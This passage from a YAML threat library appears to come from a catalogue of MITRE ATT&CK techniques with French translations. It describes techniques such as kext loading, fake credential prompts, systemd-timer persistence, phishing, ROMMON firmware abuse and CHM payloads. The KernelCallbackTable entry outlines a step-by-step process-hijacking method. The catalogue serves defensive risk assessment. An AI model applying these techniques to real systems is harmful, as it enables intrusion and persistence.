          \ de macOS. Les kexts sont charg\xE9s et d\xE9charg\xE9s \xE0 l\u2019aide\
          \ des commandes <code>kextload</code> et <code>kextunload</code>. Les Kexts\
          \ doivent \xEAtre sign\xE9s avec un ID de d\xE9veloppeur qui b\xE9n\xE9\
          ficie de privil\xE8ges accord\xE9s par Apple lui permettant de signer des\
          \ extensions du noyau. Les d\xE9veloppeurs qui ne disposent pas de ces privil\xE8\
          ges peuvent toujours signer des extensions de code, mais elles ne se chargeront\
          \ pas \xE0 moins que SIP ne soit d\xE9sactiv\xE9. Si SIP est activ\xE9,\
          \ la signature kext est v\xE9rifi\xE9e avant d\u2019\xEAtre ajout\xE9e \xE0\
          \ l\u2019AuxKC. (Citation : Extensions syst\xE8me et noyau dans macOS)\n\
          \nDepuis macOS Catalina 10.15, les extensions du noyau ont \xE9t\xE9 d\xE9\
          pr\xE9ci\xE9es au profit des extensions syst\xE8me. Cependant, les extensions\
          \ de noyau sont toujours autoris\xE9es en tant qu'\xAB extensions syst\xE8\
          me h\xE9rit\xE9es \xBB car il n\u2019existe pas d\u2019extension syst\xE8\
          me pour les interfaces de programmation du noyau. (Citation : D\xE9pr\xE9\
          ciation de l\u2019extension du noyau Apple)\n\nLes adversaires peuvent utiliser\
          \ des LKM et des kexts pour effectuer une [Persistance](https://attack.mitre.org/tactics/TA0003)\
          \ et/ou une [\xC9l\xE9vation de privil\xE8ges](https://attack.mitre.org/tactics/TA0004)\
          \ sur un syst\xE8me. Des exemples ont \xE9t\xE9 trouv\xE9s dans la nature,\
          \ et il existe \xE9galement des projets open source pertinents. (Citation\
          \ : Volatilit\xE9 Phalanx2)(Citation : CrowdStrike Linux Rootkit)(Citation\
          \ : GitHub Reptile)(Citation : GitHub Diamorphine)(R\xE9f\xE9rence : RSAC\
          \ 2015 San Francisco Patrick Wardle)(citation : Synack Secure Kernel Extension\
          \ Broken)(Citation : Securelist Ventir)(Citation : Trend Micro Skidmap)\n\
          https://attack.mitre.org/techniques/T1547/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1056.002
    ref_id: T1056.002
    name: GUI Input Capture
    description: 'Adversaries may mimic common operating system GUI components to
      prompt users for credentials with a seemingly legitimate prompt. When programs
      are executed that need additional privileges than are present in the current
      user context, it is common for the operating system to prompt the user for proper
      credentials to authorize the elevated privileges for the task (ex: [Bypass User
      Account Control](https://attack.mitre.org/techniques/T1548/002)).


      Adversaries may mimic this functionality to prompt users for credentials with
      a seemingly legitimate prompt for a number of reasons that mimic normal usage,
      such as a fake installer requiring additional access or a fake malware removal
      suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be
      used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation:
      LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing
      credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation:
      LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan
      2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may
      launch dialog boxes prompting users for credentials from malicious shell scripts
      or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation:
      Spoofing credential dialogs)


      Adversaries may also mimic common software authentication requests, such as
      those from browsers or email clients. This may also be paired with user activity
      monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217)
      and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010))
      to spoof prompts when users are naturally accessing sensitive sites/data.

      https://attack.mitre.org/techniques/T1056/002'
    translations:
      fr:
        name: "Capture d\u2019entr\xE9e de l\u2019interface graphique"
        description: "Les adversaires peuvent imiter les composants habituels de l\u2019\
          interface graphique du syst\xE8me d\u2019exploitation pour demander aux\
          \ utilisateurs des informations d\u2019identification avec une invite apparemment\
          \ l\xE9gitime. Lorsque des programmes sont ex\xE9cut\xE9s qui n\xE9cessitent\
          \ des privil\xE8ges suppl\xE9mentaires par rapport au contexte utilisateur\
          \ actuel, il est courant que le syst\xE8me d\u2019exploitation demande \xE0\
          \ l\u2019utilisateur les informations d\u2019identification appropri\xE9\
          es pour autoriser les privil\xE8ges \xE9lev\xE9s pour la t\xE2che (ex :\
          \ [Contourner le contr\xF4le de compte d\u2019utilisateur](https://attack.mitre.org/techniques/T1548/002)).\n\
          \nLes adversaires peuvent imiter cette fonctionnalit\xE9 pour demander aux\
          \ utilisateurs des informations d\u2019identification avec une invite apparemment\
          \ l\xE9gitime pour un certain nombre de raisons qui imitent l\u2019utilisation\
          \ normale, telles qu\u2019un faux programme d\u2019installation n\xE9cessitant\
          \ un acc\xE8s suppl\xE9mentaire ou une fausse suite de suppression de logiciels\
          \ malveillants. (Citation : Le logiciel malveillant OSX exploite MacKeeper)\
          \ Ce type d\u2019invite peut \xEAtre utilis\xE9 pour collecter des informations\
          \ d\u2019identification via diff\xE9rentes langues telles que [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation\_\
          : LogRhythm Do You Trust Oct 2014)(Citation\_: OSX Keydnap malware)(Citation\_\
          : Spoofing credential dialogs) et [PowerShell](https://attack.mitre.org/techniques/T1059/001).\
          \ (Citation\_: LogRhythm Do You Trust Oct 2014)(Citation : Enigma Phishing\
          \ for Credentials janvier 2015)(Citation : Usurpation des bo\xEEtes de dialogue\
          \ d\u2019identification) Sur les syst\xE8mes Linux, les adversaires peuvent\
          \ ouvrir des bo\xEEtes de dialogue demandant aux utilisateurs des informations\
          \ d\u2019identification \xE0 partir de scripts shell malveillants ou de\
          \ la ligne de commande (c\u2019est-\xE0-dire [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).\
          \ (Citation : Usurpation des bo\xEEtes de dialogue d\u2019identification)\n\
          \nLes adversaires peuvent \xE9galement imiter les demandes d\u2019authentification\
          \ logicielle courantes, telles que celles provenant de navigateurs ou de\
          \ clients de messagerie. Cela peut \xE9galement \xEAtre associ\xE9 \xE0\
          \ la surveillance de l\u2019activit\xE9 de l\u2019utilisateur (c\u2019est-\xE0\
          -dire [D\xE9couverte des informations du navigateur](https://attack.mitre.org/techniques/T1217)\
          \ et/ou [D\xE9couverte de la fen\xEAtre de l\u2019application](https://attack.mitre.org/techniques/T1010))\
          \ pour usurper les invites lorsque les utilisateurs acc\xE8dent naturellement\
          \ \xE0 des sites/donn\xE9es sensibles.\nhttps://attack.mitre.org/techniques/T1056/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588.002
    ref_id: T1588.002
    name: Tool
    description: 'Adversaries may buy, steal, or download software tools that can
      be used during targeting. Tools can be open or closed source, free or commercial.
      A tool can be used for malicious purposes by an adversary, but (unlike malware)
      were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)).
      Tool acquisition can involve the procurement of commercial software licenses,
      including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154).
      Commercial software may be obtained through purchase, stealing licenses (or
      licensed copies of the software), or cracking trial versions.(Citation: Recorded
      Future Beacon 2019)


      Adversaries may obtain tools to support their operations, including to support
      execution of post-compromise behaviors. In addition to freely downloading or
      purchasing software, adversaries may steal software and/or software licenses
      from third-party entities (including other adversaries).

      https://attack.mitre.org/techniques/T1588/002'
    translations:
      fr:
        name: Outil
        description: "Les adversaires peuvent acheter, voler ou t\xE9l\xE9charger\
          \ des outils logiciels qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ Les outils peuvent \xEAtre open source ou ferm\xE9s, gratuits ou commerciaux.\
          \ Un outil peut \xEAtre utilis\xE9 \xE0 des fins malveillantes par un adversaire,\
          \ mais (contrairement aux logiciels malveillants) n\u2019a pas \xE9t\xE9\
          \ con\xE7u pour \xEAtre utilis\xE9 \xE0 ces fins (ex : [PsExec](https://attack.mitre.org/software/S0029)).\
          \ L\u2019acquisition d\u2019outils peut impliquer l\u2019acquisition de\
          \ licences de logiciels commerciaux, y compris pour des outils de red teaming\
          \ tels que [Cobalt Strike](https://attack.mitre.org/software/S0154). Les\
          \ logiciels commerciaux peuvent \xEAtre obtenus par l\u2019achat, le vol\
          \ de licences (ou de copies sous licence du logiciel) ou le piratage de\
          \ versions d\u2019essai. (Citation : Recorded Future Beacon 2019)\n\nLes\
          \ adversaires peuvent obtenir des outils pour soutenir leurs op\xE9rations,\
          \ y compris pour soutenir l\u2019ex\xE9cution de comportements post-compromission.\
          \ En plus de t\xE9l\xE9charger ou d\u2019acheter librement des logiciels,\
          \ les adversaires peuvent voler des logiciels et/ou des licences de logiciels\
          \ \xE0 des entit\xE9s tierces (y compris d\u2019autres adversaires).\nhttps://attack.mitre.org/techniques/T1588/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1052.001
    ref_id: T1052.001
    name: Exfiltration over USB
    description: 'Adversaries may attempt to exfiltrate data over a USB connected
      physical device. In certain circumstances, such as an air-gapped network compromise,
      exfiltration could occur via a USB device introduced by a user. The USB device
      could be used as the final exfiltration point or to hop between otherwise disconnected
      systems.

      https://attack.mitre.org/techniques/T1052/001'
    translations:
      fr:
        name: Exfiltration via USB
        description: "Les adversaires peuvent tenter d\u2019exfiltrer des donn\xE9\
          es via un p\xE9riph\xE9rique physique connect\xE9 par USB. Dans certaines\
          \ circonstances, telles qu\u2019une compromission de r\xE9seau isol\xE9\
          , l\u2019exfiltration peut se produire via un p\xE9riph\xE9rique USB introduit\
          \ par un utilisateur. Le p\xE9riph\xE9rique USB peut \xEAtre utilis\xE9\
          \ comme point d\u2019exfiltration final ou pour passer d\u2019un syst\xE8\
          me \xE0 un autre.\nhttps://attack.mitre.org/techniques/T1052/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.013
    ref_id: T1574.013
    name: KernelCallbackTable
    description: 'Adversaries may abuse the <code>KernelCallbackTable</code> of a
      process to hijack its execution flow in order to run their own payloads.(Citation:
      Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code>
      can be found in the Process Environment Block (PEB) and is initialized to an
      array of graphic functions available to a GUI process once <code>user32.dll</code>
      is loaded.(Citation: Windows Process Injection KernelCallbackTable)


      An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code>
      by replacing an original callback function with a malicious payload. Modifying
      callback functions can be achieved in various ways involving related behaviors
      such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620)
      or [Process Injection](https://attack.mitre.org/techniques/T1055) into another
      process.


      A pointer to the memory address of the <code>KernelCallbackTable</code> can
      be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code>
      [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation:
      NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code>
      can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>)
      set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>).
      The PEB is then updated with the new address of the table. Once the tampered
      function is invoked, the malicious payload will be triggered.(Citation: Lazarus
      APT January 2022)


      The tampered function is typically invoked using a Windows message. After the
      process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code>
      may also be restored to its original state by the rest of the malicious payload.(Citation:
      Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack
      execution flow may evade detection from security products since the execution
      can be masked under a legitimate process.

      https://attack.mitre.org/techniques/T1574/013'
    translations:
      fr:
        name: KernelCallbackTable
        description: "Les adversaires peuvent abuser de la <code>KernelCallbackTable</code>\
          \ d\u2019un processus pour d\xE9tourner son flux d\u2019ex\xE9cution afin\
          \ d\u2019ex\xE9cuter leurs propres charges utiles. (Citation : Lazarus APT,\
          \ janvier 2022)(Citation : FinFisher expos\xE9) La <code>KernelCallbackTable</code>\
          \ se trouve dans le bloc d\u2019environnement de processus (PEB) et est\
          \ initialis\xE9e \xE0 un ensemble de fonctions graphiques disponibles pour\
          \ un processus GUI une fois <code>user32.dll</code> charg\xE9. (Citation\
          \ : Injection de processus Windows KernelCallbackTable)\n\nUn adversaire\
          \ peut d\xE9tourner le flux d\u2019ex\xE9cution d\u2019un processus \xE0\
          \ l\u2019aide de <code>KernelCallbackTable</code> en rempla\xE7ant une fonction\
          \ de rappel d\u2019origine par une charge utile malveillante. La modification\
          \ des fonctions de rappel peut \xEAtre r\xE9alis\xE9e de diff\xE9rentes\
          \ mani\xE8res en impliquant des comportements connexes tels que [Reflective\
          \ Code Loading](https://attack.mitre.org/techniques/T1620) ou [Process Injection](https://attack.mitre.org/techniques/T1055)\
          \ dans un autre processus.\n\nUn pointeur vers l\u2019adresse m\xE9moire\
          \ de la <code>KernelCallbackTable</code> peut \xEAtre obtenu en localisant\
          \ le PEB (ex : via un appel \xE0 la fonction <code>NtQueryInformationProcess()</code>\
          \ [Native API](https://attack.mitre.org/techniques/T1106)). (Citation :\
          \ NtQueryInformationProcess) Une fois le pointeur localis\xE9, la <code>KernelCallbackTable</code>\
          \ peut \xEAtre dupliqu\xE9e et une fonction de la table (par exemple, <code>fnCOPYDATA</code>)\
          \ d\xE9finie \xE0 l\u2019adresse d\u2019une charge utile malveillante (ex\
          \ : via <code>WriteProcessMemory()</code>). Le PEB est alors mis \xE0 jour\
          \ avec la nouvelle adresse de la table. Une fois que la fonction falsifi\xE9\
          e est appel\xE9e, la charge utile malveillante est d\xE9clench\xE9e. (Citation\
          \ : Lazarus APT, janvier 2022)\n\nLa fonction falsifi\xE9e est g\xE9n\xE9\
          ralement appel\xE9e \xE0 l\u2019aide d\u2019un message Windows. Une fois\
          \ le processus d\xE9tourn\xE9 et le code malveillant ex\xE9cut\xE9, la <code>KernelCallbackTable</code>\
          \ peut \xE9galement \xEAtre restaur\xE9e \xE0 son \xE9tat d\u2019origine\
          \ par le reste de la charge utile malveillante. (Citation : Lazarus APT,\
          \ janvier 2022) L\u2019utilisation de <code>KernelCallbackTable</code> pour\
          \ d\xE9tourner le flux d\u2019ex\xE9cution peut \xE9chapper \xE0 la d\xE9\
          tection des produits de s\xE9curit\xE9, car l\u2019ex\xE9cution peut \xEA\
          tre masqu\xE9e sous un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1574/013"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1597
    ref_id: T1597
    name: Search Closed Sources
    description: 'Adversaries may search and gather information about victims from
      closed (e.g., paid, private, or otherwise not freely available) sources that
      can be used during targeting. Information about victims may be available for
      purchase from reputable private sources and databases, such as paid subscriptions
      to feeds of technical/threat intelligence data. Adversaries may also purchase
      information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation:
      ZDNET Selling Data)


      Adversaries may search in different closed databases depending on what information
      they seek to gather. Information from these sources may reveal opportunities
      for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

      https://attack.mitre.org/techniques/T1597'
    translations:
      fr:
        name: "Recherche de sources ferm\xE9es"
        description: "Les adversaires peuvent rechercher et recueillir des informations\
          \ sur les victimes \xE0 partir de sources ferm\xE9es (par exemple, r\xE9\
          mun\xE9r\xE9es, priv\xE9es ou non librement accessibles) qui peuvent \xEA\
          tre utilis\xE9es lors du ciblage. Des informations sur les victimes peuvent\
          \ \xEAtre disponibles \xE0 l\u2019achat aupr\xE8s de sources et de bases\
          \ de donn\xE9es priv\xE9es r\xE9put\xE9es, telles que des abonnements payants\
          \ \xE0 des flux de donn\xE9es techniques/de renseignement sur les menaces.\
          \ Les adversaires peuvent \xE9galement acheter des informations aupr\xE8\
          s de sources moins fiables, telles que le dark web ou les march\xE9s noirs\
          \ de la cybercriminalit\xE9. (Citation : Donn\xE9es de vente ZDNET)\n\n\
          Les adversaires peuvent effectuer des recherches dans diff\xE9rentes bases\
          \ de donn\xE9es ferm\xE9es en fonction des informations qu\u2019ils cherchent\
          \ \xE0 recueillir. Les informations provenant de ces sources peuvent r\xE9\
          v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Phishing pour obtenir de l\u2019information](https://attack.mitre.org/techniques/T1598)\
          \ ou [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Externe \xE0 distance Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Comptes valides](https://attack.mitre.org/techniques/T1078)).\nhttps://attack.mitre.org/techniques/T1597"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1053.006
    ref_id: T1053.006
    name: Systemd Timers
    description: 'Adversaries may abuse systemd timers to perform task scheduling
      for initial or recurring execution of malicious code. Systemd timers are unit
      files with file extension <code>.timer</code> that control services. Timers
      can be set to run on a calendar event or after a time span relative to a starting
      point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003)
      in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd
      timers may be activated remotely via the <code>systemctl</code> command line
      utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation:
      Systemd Remote Control)


      Each <code>.timer</code> file must have a corresponding <code>.service</code>
      file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>.
      <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002)
      unit files that are managed by the systemd system and service manager.(Citation:
      Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code>
      and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.


      An adversary may use systemd timers to execute malicious code at system startup
      or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd
      Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise
      10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)
      Timers installed using privileged paths may be used to maintain root level persistence.
      Adversaries may also install user level timers to achieve user level persistence.(Citation:
      Falcon Sandbox smp: 28553b3a9d)

      https://attack.mitre.org/techniques/T1053/006'
    translations:
      fr:
        name: Minuteries Systemd
        description: "Les adversaires peuvent abuser des minuteurs systemd pour planifier\
          \ des t\xE2ches en vue de l\u2019ex\xE9cution initiale ou r\xE9currente\
          \ de code malveillant. Les timers systemd sont des fichiers unitaires avec\
          \ l\u2019extension <code>de fichier .timer</code> qui contr\xF4lent les\
          \ services. Les minuteries peuvent \xEAtre configur\xE9es pour s\u2019ex\xE9\
          cuter sur un \xE9v\xE9nement de calendrier ou apr\xE8s une p\xE9riode de\
          \ temps par rapport \xE0 un point de d\xE9part. Ils peuvent \xEAtre utilis\xE9\
          s comme alternative \xE0 [Cron](https://attack.mitre.org/techniques/T1053/003)\
          \ dans les environnements Linux. (Citation : archlinux Systemd Timers ao\xFB\
          t 2020) Les minuteries systemd peuvent \xEAtre activ\xE9es \xE0 distance\
          \ via l\u2019utilitaire de ligne de commande <code>systemctl</code>, qui\
          \ fonctionne via [SSH](https://attack.mitre.org/techniques/T1021/004). (Citation\
          \ : T\xE9l\xE9commande systemd)\n\nChaque fichier <code>.timer</code> doit\
          \ avoir un fichier <code>.service</code> correspondant portant le m\xEA\
          me nom, par exemple, <code>example.timer</code> et <code>example.service</code>.\
          \ Les fichiers <code>.service</code> sont des fichiers unitaires [Systemd\
          \ Service](https://attack.mitre.org/techniques/T1543/002) qui sont g\xE9\
          r\xE9s par le gestionnaire de syst\xE8me et de service systemd. (Citation\
          \ : Linux man-pages : systemd janvier 2014) Les minuteries privil\xE9gi\xE9\
          es sont \xE9crites dans <code>/etc/systemd/system/</code> et <code>/usr/lib/systemd/system,</code>\
          \ tandis que le niveau utilisateur est \xE9crit dans <code>~/.config/systemd/user/.</code>\n\
          \nUn adversaire peut utiliser les minuteries systemd pour ex\xE9cuter du\
          \ code malveillant au d\xE9marrage du syst\xE8me ou de mani\xE8re programm\xE9\
          e pour la persistance. (Citation : Arch Linux Package Systemd Compromise\
          \ BleepingComputer 10JUL2018)(Citation : gist Arch package compromise 10JUL2018)(Citation\_\
          : acroread package compromis Arch Linux Mail 8JUL2018) Les minuteurs install\xE9\
          s \xE0 l\u2019aide de chemins privil\xE9gi\xE9s peuvent \xEAtre utilis\xE9\
          s pour maintenir la persistance au niveau racine. Les adversaires peuvent\
          \ \xE9galement installer des minuteries au niveau de l\u2019utilisateur\
          \ pour obtenir une persistance au niveau de l\u2019utilisateur. (Citation\
          \ : Falcon Sandbox smp : 28553b3a9d)\nhttps://attack.mitre.org/techniques/T1053/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1566
    ref_id: T1566
    name: Phishing
    description: 'Adversaries may send phishing messages to gain access to victim
      systems. All forms of phishing are electronically delivered social engineering.
      Phishing can be targeted, known as spearphishing. In spearphishing, a specific
      individual, company, or industry will be targeted by the adversary. More generally,
      adversaries can conduct non-targeted phishing, such as in mass malware spam
      campaigns.


      Adversaries may send victims emails containing malicious attachments or links,
      typically to execute malicious code on victim systems. Phishing may also be
      conducted via third-party services, like social media platforms. Phishing may
      also involve social engineering techniques, such as posing as a trusted source,
      as well as evasive techniques such as removing or manipulating emails or metadata/headers
      from compromised accounts being abused to send messages (e.g., [Email Hiding
      Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft
      OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way
      to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the
      identity of the sender which can be used to fool both the human recipient as
      well as automated security tools,(Citation: cyberproof-double-bounce) or by
      including the intended target as a party to an existing email thread that includes
      malicious files or links (i.e., "thread hijacking").(Citation: phishing-krebs)


      Victims may also receive phishing messages that instruct them to call a phone
      number where they are directed to visit a malicious URL, download malware,(Citation:
      sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software)
      or install adversary-accessible remote management tools onto their computer
      (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation:
      Unit42 Luna Moth)

      https://attack.mitre.org/techniques/T1566'
    translations:
      fr:
        name: "Hame\xE7onnage"
        description: "Les adversaires peuvent envoyer des messages d\u2019hame\xE7\
          onnage pour acc\xE9der aux syst\xE8mes des victimes. Toutes les formes d\u2019\
          hame\xE7onnage sont transmises par voie \xE9lectronique. Le phishing peut\
          \ \xEAtre cibl\xE9, ce que l\u2019on appelle le spearphishing. Dans le spearphishing,\
          \ une personne, une entreprise ou un secteur sp\xE9cifique sera cibl\xE9\
          \ par l\u2019adversaire. Plus g\xE9n\xE9ralement, les adversaires peuvent\
          \ mener des op\xE9rations de phishing non cibl\xE9es, par exemple dans le\
          \ cadre de campagnes massives de spam.\n\nLes adversaires peuvent envoyer\
          \ aux victimes des e-mails contenant des pi\xE8ces jointes ou des liens\
          \ malveillants, g\xE9n\xE9ralement pour ex\xE9cuter du code malveillant\
          \ sur les syst\xE8mes des victimes. L\u2019hame\xE7onnage peut \xE9galement\
          \ \xEAtre effectu\xE9 par l\u2019interm\xE9diaire de services tiers, comme\
          \ les plateformes de m\xE9dias sociaux. L\u2019hame\xE7onnage peut \xE9\
          galement impliquer des techniques d\u2019ing\xE9nierie sociale, telles que\
          \ se faire passer pour une source fiable, ainsi que des techniques \xE9\
          vasives telles que la suppression ou la manipulation d\u2019e-mails ou de\
          \ m\xE9tadonn\xE9es/en-t\xEAtes de comptes compromis utilis\xE9s \xE0 mauvais\
          \ escient pour envoyer des messages (par exemple, [R\xE8gles de masquage\
          \ des e-mails](https://attack.mitre.org/techniques/T1564/008)). (Citation\
          \ : Microsoft OAuth Spam 2022)(Citation : Palo Alto Unit 42 VBA Infostealer\
          \ 2014) Une autre fa\xE7on d\u2019y parvenir est de falsifier ou d\u2019\
          usurper l\u2019identit\xE9 de l\u2019exp\xE9diteur, ce qui peut \xEAtre\
          \ utilis\xE9 pour tromper \xE0 la fois le destinataire humain et les outils\
          \ de s\xE9curit\xE9 automatis\xE9s, ou en incluant la cible vis\xE9e en\
          \ tant que partie \xE0 un fil de discussion de courrier \xE9lectronique\
          \ existant qui comprend des fichiers ou des liens malveillants (c\u2019\
          est-\xE0-dire,  \xAB d\xE9tournement de fil \xBB). (Citation : phishing-krebs)\n\
          \nLes victimes peuvent \xE9galement recevoir des messages d\u2019hame\xE7\
          onnage qui leur demandent d\u2019appeler un num\xE9ro de t\xE9l\xE9phone\
          \ o\xF9 elles sont dirig\xE9es pour visiter une URL malveillante, t\xE9\
          l\xE9charger des logiciels malveillants, ou installer des outils de gestion\
          \ \xE0 distance accessibles \xE0 l\u2019adversaire sur leur ordinateur (c\u2019\
          est-\xE0-dire, [User Execution](https://attack.mitre.org/techniques/T1204)).\
          \ (Citation : Unit42 Luna Moth)\nhttps://attack.mitre.org/techniques/T1566"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1542.004
    ref_id: T1542.004
    name: ROMMONkit
    description: 'Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized
      firmware with adversary code to provide persistent access and manipulate device
      behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation:
      Cisco Blog Legacy Device Attacks)



      ROMMON is a Cisco network device firmware that functions as a boot loader, boot
      image, or boot helper to initialize hardware and software when the platform
      is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005),
      an adversary may upgrade the ROMMON image locally or remotely (for example,
      through TFTP) with adversary code and restart the device in order to overwrite
      the existing ROMMON image. This provides adversaries with the means to update
      the ROMMON to gain persistence on a system in a way that may be difficult to
      detect.

      https://attack.mitre.org/techniques/T1542/004'
    translations:
      fr:
        name: ROMMONkit
        description: "Les adversaires peuvent abuser du moniteur de ROM (ROMMON) en\
          \ chargeant un micrologiciel non autoris\xE9 avec le code de l\u2019adversaire\
          \ pour fournir un acc\xE8s persistant et manipuler le comportement de l\u2019\
          appareil qui est difficile \xE0 d\xE9tecter. (Citation : Cisco Synful Knock\
          \ Evolution)(Citation : Blog Cisco Legacy Device Attacks)\n\nROMMON est\
          \ un micrologiciel de p\xE9riph\xE9rique r\xE9seau Cisco qui fonctionne\
          \ comme un chargeur de d\xE9marrage, une image de d\xE9marrage ou un assistant\
          \ de d\xE9marrage pour initialiser le mat\xE9riel et les logiciels lorsque\
          \ la plate-forme est mise sous tension ou r\xE9initialis\xE9e. \xC0 l\u2019\
          instar de [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), un\
          \ adversaire peut mettre \xE0 niveau l\u2019image ROMMON localement ou \xE0\
          \ distance (par exemple, via TFTP) avec le code de l\u2019adversaire et\
          \ red\xE9marrer le p\xE9riph\xE9rique afin d\u2019\xE9craser l\u2019image\
          \ ROMMON existante. Cela permet aux adversaires de mettre \xE0 jour le ROMMON\
          \ afin d\u2019obtenir une persistance sur un syst\xE8me d\u2019une mani\xE8\
          re qui peut \xEAtre difficile \xE0 d\xE9tecter.\nhttps://attack.mitre.org/techniques/T1542/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.001
    ref_id: T1218.001
    name: Compiled HTML File
    description: 'Adversaries may abuse Compiled HTML files (.chm) to conceal malicious
      code. CHM files are commonly distributed as part of the Microsoft HTML Help
      system. CHM files are compressed compilations of various content such as HTML
      documents, images, and scripting/web related programming languages such VBA,
      JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content
      is displayed using underlying components of the Internet Explorer browser (Citation:
      Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).
      (Citation: Microsoft HTML Help Executable Program)


      A custom CHM file containing embedded payloads could be delivered to a victim
      then triggered by [User Execution](https://attack.mitre.org/techniques/T1204).
      CHM execution may also bypass application application control on older and/or
      unpatched systems that do not account for execution of binaries through hh.exe.
      (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

      https://attack.mitre.org/techniques/T1218/001'
    translations:
      fr:
        name: "Fichier HTML compil\xE9"
        description: "Les adversaires peuvent abuser des fichiers HTML compil\xE9\
          s (.chm) pour dissimuler du code malveillant. Les fichiers CHM sont g\xE9\
          n\xE9ralement distribu\xE9s dans le cadre du syst\xE8me d\u2019aide HTML\
          \ de Microsoft. Les fichiers CHM sont des compilations compress\xE9es de\
          \ divers contenus tels que des documents HTML, des images et des langages\
          \ de programmation li\xE9s aux scripts/Web tels que VBA, JScript, Java et\
          \ ActiveX. (Citation : Aide HTML de Microsoft, mai 2018) Le contenu CHM\
          \ est affich\xE9 \xE0 l\u2019aide des composants sous-jacents du navigateur\
          \ Internet Explorer (Citation : Microsoft HTML Help ActiveX) charg\xE9s\
          \ par le programme ex\xE9cutable HTML Help (hh.exe). (Citation : Programme\
          \ ex\xE9cutable d\u2019aide Microsoft HTML)\n\nUn fichier CHM personnalis\xE9\
          \ contenant des charges utiles int\xE9gr\xE9es peut \xEAtre remis \xE0 une\
          \ victime, puis d\xE9clench\xE9 par [User Execution](https://attack.mitre.org/techniques/T1204).\
          \ L\u2019ex\xE9cution CHM peut \xE9galement contourner le contr\xF4le des\
          \ applications sur les syst\xE8mes plus anciens et/ou non corrig\xE9s qui\
          \ ne tiennent pas compte de l\u2019ex\xE9cution des fichiers binaires via\
          \ hh.exe. (Citation : MsitPros CHM ao\xFBt 2017) (R\xE9f\xE9rence : Microsoft\
          \ CVE-2017-8625 ao\xFBt 2017)\nhttps://attack.mitre.org/techniques/T1218/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1496.001
    ref_id: T1496.001
    name: Compute Hijacking
    description: "Adversaries may leverage the compute resources of co-opted systems\
